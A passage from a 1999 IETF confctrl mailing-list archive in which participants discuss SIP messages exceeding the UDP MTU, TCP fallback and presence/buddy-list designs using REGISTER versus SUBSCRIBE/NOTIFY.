possibility of size > 1500.
There does not seem to be any way in the RFC which talks about breaking a
SIP packet across UDP datagrams. So currently Im using my own scheme to
correlate - which is not standard.

So my basic question is, is there a standard way which will allow a SIP
message to be transferred acrtoss multiple datagrams ?

Thxx
Regds
Arjun



From confctrl-owner  Tue Jun 29 23:46:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA05428
	for confctrl-outgoing; Tue, 29 Jun 1999 23:46:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA05423
	for <confctrl@zephyr.isi.edu>; Tue, 29 Jun 1999 23:46:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA06057
	for <confctrl@ISI.EDU>; Tue, 29 Jun 1999 23:46:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jun 30 02:45:38 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.125])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id CAA28007;
	Wed, 30 Jun 1999 02:45:33 -0400 (EDT)
Message-ID: <3779BD39.56D24041@dnrc.bell-labs.com>
Date: Wed, 30 Jun 1999 02:46:17 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: Buddy Lists and UDP max MTU size
References: <652567A0.001B8F3E.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi,
> I have a question on SIP message exceeding MTU size.
> 
> My interpretation of Section 1.5.2 of RFC 2543 which states that UDP
> datagrams should not exceed > MTU was that
> all SIP messages must e wholly contained in one Datagram each.

No, it does not say that they should not exceed that MTU. In many cases
the UA won't know the path MTU.

> 
> Now, to implement Buddy Lists, Im returning a list of Registered Users when
> a user sends a REGISTER. However, this will result in a very high
> possibility of size > 1500.
> There does not seem to be any way in the RFC which talks about breaking a
> SIP packet across UDP datagrams. So currently Im using my own scheme to
> correlate - which is not standard.
> 
> So my basic question is, is there a standard way which will allow a SIP
> message to be transferred acrtoss multiple datagrams ?

First off, a UDP datagram can be bigger than 1500. It can be as large as
65535 bytes. Now, likely if its bigger than 1500, it gets fragmented at
the IP layer; but its still delivered in one piece to the receiver if
all its parts arrive. Not ideal, but it means a registrar CAN send
packets larger than 1500 bytes.

If the packets are really big, use TCP. If the registrar has a list of
contact addresses which is too long, it should redirect the calling
party to try TCP:

300 Too Big
Contact: sip:registrar.com;transport=tcp

The calling party can then re-register with TCP.

For normal SIP operation (not the buddy list concept described in a
separate draft), the likelihood of a registration response exceeding an
MTU is quite small. The only issue I see is for UDP only clients
(typically non-PC's) which register an address also being registered by
other devices. In that case, the response to the register could possibly
be longer than the UDP-only client expects. If it should happen to be so
long that TCP is required, the UDP-only device will never be able to
register. I see several potential solutions to this:

1. a registrar cuts off the list of Contact addresses in the 200 OK if
it becomes too big, rather than redirecting to TCP
2. a registrar only returns those Contact headers in the response whose
URI's appeared in Contact headers in the request
3. we add some kind of field which tells the server that TCP is not
supported, and to send the response via UDP

(3) is actually orthogonal to (1) and (2), and could be used to
effectively signal whether (1) or (2) should be used. 

Again, I should emphasize that the likelihood of fragmentation for
normal SIP operation is nearly nil.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun 30 00:11:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA06413
	for confctrl-outgoing; Wed, 30 Jun 1999 00:11:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA06408
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 00:11:58 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA07018
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 00:11:49 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id NAA13721;
	Wed, 30 Jun 1999 13:50:27 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A0.00279B91 ; Wed, 30 Jun 1999 12:42:37 +0530
X-Lotus-FromDomain: HSSBLR
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: confctrl@ISI.EDU
Message-ID: <652567A0.002681E7.00@sampark.hss.hns.com>
Date: Wed, 30 Jun 1999 12:42:36 +0530
Subject: Re: Buddy Lists and UDP max MTU size
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


jdr> If the packets are really big, use TCP. If the registrar has a list of
jdr> contact addresses which is too long, it should redirect the calling
jdr> party to try TCP:
jdr> 300 Too Big
jdr> Contact: sip:registrar.com;transport=tcp

Well I dont feel that just to get data >1 UDP size, I need to change the
complete protocol. I would surely not like to use TCP as it increased
management load on my server side maintaining one socket connection each
for new clients.
A user list is something which Iexpect my clients to execute probably once
before he wants to see people he can talk so -- so the occurence is not
real time - just for a buddy list, I dont want him to change to TCP (which
again means that for big buddy list (not so big that UDP is inapproriate)
the Clent server have to implement the TCP support too). Although the buddy
list is only one instance, I feel its a veryt important one -- everyone
wants to know who is currently logged in, otherwise they dont know who to
call !


jdr> 1. a registrar cuts off the list of Contact addresses in the 200 OK if
jdr> it becomes too big, rather than redirecting to TCP

This,I think is best avoided. The users will get an incomplete list and
would never know an 'unlisted' person is logged in.

I understand your point that currenlty in normal sip operation, this is
unlikely. However, I dont think its a bad idea to add a 'More-Fragments'
Boolean field at the SIP layer which is optional and will specify that the
message is continued in succeeding datagrams. I feel this is a more elegant
solution than going the TCP way.
Again, currently this might be applicable to a narrow domain, but I think
an extra optional field as above will only add to SIP handling scenarios
(if they occur in future) for multiple application layer fragments.

Regds
Arjun



From confctrl-owner  Wed Jun 30 01:29:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA09270
	for confctrl-outgoing; Wed, 30 Jun 1999 01:29:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA09265
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 01:29:21 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA09386
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 01:28:48 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id PAA18536
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 15:07:52 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A0.002EB329 ; Wed, 30 Jun 1999 14:00:05 +0530
X-Lotus-FromDomain: HSSBLR
To: confctrl@ISI.EDU
Message-ID: <652567A0.002E3453.00@sampark.hss.hns.com>
Date: Wed, 30 Jun 1999 14:00:00 +0530
Subject: Auto Reply to your message ... - Why do I keep getting this ?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
every time I send a message to confctrl@isi.edu, I get back the message
attached below.
It started happening a week or two ago.
Am I the only one getting this ? the mailbox it specfies is no where in my
to or cc fields anyway !

Regds
Arjun

---------------------- Forwarded by Arjun Roychowdhury/HSSBLR on 07/01/99
01:56 AM ---------------------------


nouveau.domaine.pour@dassault-elec.fr on 06/30/99 01:29:11 PM

To:   archow@hss.hns.com
cc:
Subject:  Auto Reply to your message ...




  -----  The following is an automated response to your message
  -----  generated on behalf of nouveau.domaine.pour@dassault-elec.fr
L'adresse email de votre correspondant (dassault-elec.fr) n'existe
plus.Elle est remplacee par 'detexis.thomson-csf.com'.Votre email n'a pas
ete recu.Veuillez modifier votre carnet d'adresses.Sorry, the mailbox of
your recipient (dassault-elec.fr) is closed. Your message has been
discarded.Thank you for sending your message again to
detexis.thomson-csf.com. Please don't forget to modify your address book.





From confctrl-owner  Wed Jun 30 02:16:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA10904
	for confctrl-outgoing; Wed, 30 Jun 1999 02:16:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA10899
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 02:16:02 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA10517
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 02:16:01 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id EAA20157;
	Wed, 30 Jun 1999 04:15:30 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id EAA18641;
	Wed, 30 Jun 1999 04:15:30 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id EAA17855; Wed, 30 Jun 1999 04:15:29 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id EAA07296;
	Wed, 30 Jun 1999 04:15:29 -0500 (CDT)
Message-Id: <199906300915.EAA07296@b04a24.exu.ericsson.se>
Subject: Re: Buddy Lists and UDP max MTU size
To: archow@hss.hns.com
Date: Wed, 30 Jun 1999 04:15:29 -0500 (CDT)
Cc: jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
In-Reply-To: <652567A0.002681E7.00@sampark.hss.hns.com> from "archow@hss.hns.com" at Jun 30, 99 12:42:36 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I understand your point that currenlty in normal sip operation, this is
>unlikely. However, I dont think its a bad idea to add a 'More-Fragments'
>Boolean field at the SIP layer which is optional and will specify that the
>message is continued in succeeding datagrams. I feel this is a more elegant
>solution than going the TCP way.
>Again, currently this might be applicable to a narrow domain, but I think
>an extra optional field as above will only add to SIP handling scenarios
>(if they occur in future) for multiple application layer fragments.

What you propose -- fragmenting UDP within the SIP framework --
would require a substantially larger investment than you suggest.
The major issue you are failing to consider is implementation of
reliability. Would we ACK the first packet *and* each subsequent
"linked" packet? If so, you'll need to add semantics for timing
between packet segements.  If not, what if the first packet is 
dropped and all we get is a "continued" packet? The major
problem is that it introduces significant signalling differences
between SIP for UDP and SIP for TCP.

I'm not saying that  your concerns are unjustified; merely
that they don't fit well into the current SIP protocol without
a significant change in the specification *and* existing
implementations.

Finally, it seems a bit odd that you're implementing some obviously
proprietary semantics for the REGISTER method, yet seeking to
solve a problem it creates with a modification to the standard.

You may want to examine the SIP for presence and SAP drafts
before you continue down a road that will not interoperate
with other implementations. At the very least, consider using
standard message semantics, such as sending your buddy list
back to the client in a series of REGISTER messages instead of
in a REGISTER response.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Jun 30 03:04:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA12519
	for confctrl-outgoing; Wed, 30 Jun 1999 03:04:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA12514
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 03:04:42 -0700 (PDT)
Received: from tapti.hss.hns.com ([139.85.242.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA11838
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 03:04:29 -0700 (PDT)
From: archow@hss.hns.com
Received: from sampark.hss.hns.com (sampark.hss.hns.com [139.85.229.5])
	by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id QAA25036;
	Wed, 30 Jun 1999 16:42:08 +0530 (IST)
Received: by sampark.hss.hns.com(Lotus SMTP MTA SMTP v4.6 (462.2 9-3-1997))  id 652567A0.00375542 ; Wed, 30 Jun 1999 15:34:22 +0530
X-Lotus-FromDomain: HSSBLR
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
cc: archow@hss.hns.com, jdrosen@dnrc.bell-labs.com, confctrl@ISI.EDU
Message-ID: <652567A0.0035FEEE.00@sampark.hss.hns.com>
Date: Wed, 30 Jun 1999 15:34:20 +0530
Subject: Re: Buddy Lists and UDP max MTU size
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



adam> You may want to examine the SIP for presence and SAP drafts
adam> before you continue down a road that will not interoperate
adam> with other implementations. At the very least, consider using
adam> standard message semantics, such as sending your buddy list
adam> back to the client in a series of REGISTER messages instead of
adam> in a REGISTER response.

Thanks. I just went thru the SIP for presence draft. Actually what Im doing
here is not  a 'Buddy' list (my wording was incorrect) but actually just a
list of all currenlty registered users so that a person starting the sip
phone gets to know whos logged on. so that cant be in REGISTER request.

It seems the SUBSCRIBE,NOTIFY allow me to do jsut that.
However, whether I use Subscribe or register, I still face the problem of
overflow.
Basically, to deploy a single SIP Registrar which a lot of people can use
(~5000 users) and showing a list of all logged in users, I immediately
cross the 64k limit.
However, I guess a solution is that the server return blocks of users in
multiple responses and I keep updating my list making sure to discard the
retransmissions.

Initially I had wanted to avoid this, but what you said about App layer
fragmentation complexities makes sense. On second thoughts, I dont think
its worth doing it :).

Regds
Arjun



From confctrl-owner  Wed Jun 30 04:30:52 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA15707
	for confctrl-outgoing; Wed, 30 Jun 1999 04:30:52 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA15702
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 04:30:49 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA14204
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 04:30:48 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id GAA18071
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 06:30:17 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id GAA00757
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 06:30:17 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id GAA24697 for <confctrl@isi.edu>; Wed, 30 Jun 1999 06:30:16 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id GAA07404
	for confctrl@isi.edu; Wed, 30 Jun 1999 06:30:15 -0500 (CDT)
Message-Id: <199906301130.GAA07404@b04a24.exu.ericsson.se>
Subject: Buddy Lists, generally
To: confctrl@ISI.EDU
Date: Wed, 30 Jun 1999 06:30:15 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Arjun's messages raise an interesting point: has there been any
exploration into interoperable 'buddy list' type applications
for SIP systems? For example, has anyone looked at how one could
define an interaction between SIP registrations and SGAP
notifications?

I only just stumbled across the SGAP draft, and it seems an interesting
(if somewhat un-SIP-ish) solution to this type of problem. If
anyone has any related comments (especially other ideas for
REGISTER notifications to clients), I'd be very interested in hearing
them.

http://search.ietf.org/internet-drafts/draft-day-sgap-01.txt

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Wed Jun 30 04:36:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA15903
	for confctrl-outgoing; Wed, 30 Jun 1999 04:36:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA15893
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 04:36:06 -0700 (PDT)
Received: from vs.informatik.uni-ulm.de (vs.informatik.uni-ulm.de [134.60.77.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA14401
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 04:36:03 -0700 (PDT)
Received: from informatik.uni-ulm.de (134.60.77.23) by vs.informatik.uni-ulm.de
 with ESMTP (Eudora Internet Mail Server 2.2); Wed, 30 Jun 1999 13:40:46 +0200
Message-ID: <377A01AD.871A1662@informatik.uni-ulm.de>
Date: Wed, 30 Jun 1999 13:38:21 +0200
From: "Klaus H. Wolf" <wolf@informatik.uni-ulm.de>
Organization: Uni Ulm
X-Mailer: Mozilla 4.51 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com
CC: confctrl@ISI.EDU
Subject: Re: Buddy Lists and UDP max MTU size
References: <652567A0.001B8F3E.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

archow@hss.hns.com wrote:
> 
> Hi,
> I have a question on SIP message exceeding MTU size.
> 
> My interpretation of Section 1.5.2 of RFC 2543 which states that UDP
> datagrams should not exceed > MTU was that
> all SIP messages must e wholly contained in one Datagram each.
> 
> Now, to implement Buddy Lists, Im returning a list of Registered Users when
> a user sends a REGISTER. However, this will result in a very high
> possibility of size > 1500.
> There does not seem to be any way in the RFC which talks about breaking a
> SIP packet across UDP datagrams. So currently Im using my own scheme to
> correlate - which is not standard.
> 
> So my basic question is, is there a standard way which will allow a SIP
> message to be transferred acrtoss multiple datagrams ?

Please do not make the buddy list-mistake again. 

I know the common thinking on presence and notifications is very much biased
by ICQ and AIM. But sending a buddy list to a single server is wrong. This
limits the system to a single server which is good for Mirabilis/AOL but not
for the public. It makes an additional effort necessary to cascade servers, if
buddies are in
different domains. 

Rather subscribe for 'online-status' (or whatever property) directly at each
user's presence server. In short: The buddy list is a list of users. User
names are URLs. The server addressed depends (as usual) on the host part of
the user name. Do not send the entire list to a single server. 

This answers the original question of this thread: Packets won't exceed the
MTU. 

I would like to make you aware of an internet draft I recently posted for the
next IETF meeting: http://www.ietf.org/internet-drafts/draft-wolf-pms-00.txt
Chapters 2.4 and 3.4

-- 
Klaus H. Wolf                                   Voice: +49 (731) 502 4145
Distributed Systems Dept.                     Ethernet: 08:00:20:12:2a:01
University of Ulm                          Cobrow: http://www.cobrow.com/
89069 Ulm, Germany     Live: http://www.cobrow.com/pages/people/wolf.html

From confctrl-owner  Wed Jun 30 07:04:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA21676
	for confctrl-outgoing; Wed, 30 Jun 1999 07:04:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA21671
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 07:04:48 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA20131
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 07:04:47 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id JAA25376;
	Wed, 30 Jun 1999 09:04:15 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id JAA17759;
	Wed, 30 Jun 1999 09:04:15 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA04983; Wed, 30 Jun 1999 09:04:13 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id JAA08811;
	Wed, 30 Jun 1999 09:04:12 -0500 (CDT)
Date: Wed, 30 Jun 1999 09:04:12 -0500 (CDT)
Message-Id: <199906301404.JAA08811@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, archow@hss.hns.com
Subject: Re: Buddy Lists and UDP max MTU size
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Hi,
> I have a question on SIP message exceeding MTU size.
> 
> My interpretation of Section 1.5.2 of RFC 2543 which states that UDP
> datagrams should not exceed > MTU was that
> all SIP messages must e wholly contained in one Datagram each.
> 
> Now, to implement Buddy Lists, Im returning a list of Registered Users when
> a user sends a REGISTER. However, this will result in a very high
> possibility of size > 1500.
> There does not seem to be any way in the RFC which talks about breaking a
> SIP packet across UDP datagrams. So currently Im using my own scheme to
> correlate - which is not standard.
> 
> So my basic question is, is there a standard way which will allow a SIP
> message to be transferred acrtoss multiple datagrams ?
> 

After reading the various responses to your original post on this mailing
list, I would like to suggest that what you are trying to do with the
REGISTER reuqest while not really provided for in the draft is very interesting
and should be investigated further. 

You might take a look at the IMPP working group which is addressing this type
of problem.

If you wish to use the REGISTER
request (which by the way I considered exactly this same approach at one time,
it's not too crazy :)), I would recommend using the body of the response
to return the "buddy list" in a compressed format (gzipped) which solves
part of the problem with the path-MTU. You might also use a proprietary header
"X-filter" or something like that to filter or limit the number of 
registrations returned in the REGISTER response. Finally as Jonathan pointed
out, the worst thing that will happen (in general, though there are some
exceptions) is that your packet will be fragmented across any link(s) whose
MTU is exceeded by your packet size.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154 

From confctrl-owner  Wed Jun 30 07:28:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA22537
	for confctrl-outgoing; Wed, 30 Jun 1999 07:28:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA22532
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 07:28:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA22266
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 07:28:04 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Wed Jun 30 10:27:25 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.144])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id KAA01886;
	Wed, 30 Jun 1999 10:27:24 -0400 (EDT)
Message-ID: <377A2978.91845F7C@dnrc.bell-labs.com>
Date: Wed, 30 Jun 1999 10:28:08 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: "Klaus H. Wolf" <wolf@informatik.uni-ulm.de>
CC: archow@hss.hns.com, confctrl@ISI.EDU
Subject: Re: Buddy Lists and UDP max MTU size
References: <652567A0.001B8F3E.00@sampark.hss.hns.com> <377A01AD.871A1662@informatik.uni-ulm.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Klaus H. Wolf wrote:
> 
> > Now, to implement Buddy Lists, Im returning a list of Registered Users when
> > a user sends a REGISTER. However, this will result in a very high
> > possibility of size > 1500.
> > There does not seem to be any way in the RFC which talks about breaking a
> > SIP packet across UDP datagrams. So currently Im using my own scheme to
> > correlate - which is not standard.
> >
> > So my basic question is, is there a standard way which will allow a SIP
> > message to be transferred acrtoss multiple datagrams ?
> 
> Please do not make the buddy list-mistake again.
> 
> I know the common thinking on presence and notifications is very much biased
> by ICQ and AIM. But sending a buddy list to a single server is wrong. This
> limits the system to a single server which is good for Mirabilis/AOL but not
> for the public. It makes an additional effort necessary to cascade servers, if
> buddies are in
> different domains.

No disagreement here. Henning and I put together a draft on using SIP as
the basis for presence:

http://search.ietf.org/internet-drafts/draft-rosenberg-sip-pip-00.txt

The basic idea is that the SIP server for a domain is also a natural
place to handle subscriptions for users in that domain. The SIP REGISTER
method conveys the "callability" of a particular user at a terminal, so
that a SIP server already has the information it needs to handle
subscriptions. If I want to subscribe to "jdrosen@lucent.com", I would
use the same mechanisms as regular SIP to find the SIP server handling
subscriptions for this user. 

In this case, I would agree that the number of terminals (i.e.,
sip:jdrosen@host3.dnrc.bell-labs.com and
sip:jdrosen@machine1.cs.columbia.edu) associated with a particular
address will generally be small and a large NOTIFY message is quite
unlikely.

People interested in presence, instant messaging, and buddy lists might
want to check out the impp working group in the apps area. They are
right now finishing up their requirements work and will soon be moving
on to architectures and protocols.


-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Jun 30 07:54:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA23636
	for confctrl-outgoing; Wed, 30 Jun 1999 07:54:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23627
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 07:54:04 -0700 (PDT)
Received: from devonshire.cnchost.com (devonshire.concentric.net [207.155.248.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA23672
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 07:54:03 -0700 (PDT)
Received: from ts005d21.cht-ma.concentric.net (ts005d21.cht-ma.concentric.net [206.173.19.225])
	by devonshire.cnchost.com
	id KAA16598; Wed, 30 Jun 1999 10:53:36 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
Date: Wed, 30 Jun 1999 10:55:19 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
cc: confctrl@ISI.EDU
Subject: Re: Buddy Lists, generally
In-Reply-To: <199906301130.GAA07404@b04a24.exu.ericsson.se>
Message-ID: <Pine.LNX.4.10.9906301038110.1623-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hmmmm, just when we were running out of worms, a new can (or tin) opens up
before us....

Some time ago, there was a disussion about whether the "right" thing to do
to get on someone's buddy list or receive other kinds of notifications was
to "SUBSCRIBE" or to "REGISTER". I myself was a REGISTER fan, but was
overruled by Jonathan and Henning. My recollection was the the intended
general semantics were as follows:

REGISTER -- this is a request that future requests for communication to
the Request-URI in the To: field be automatically sent or redirected to
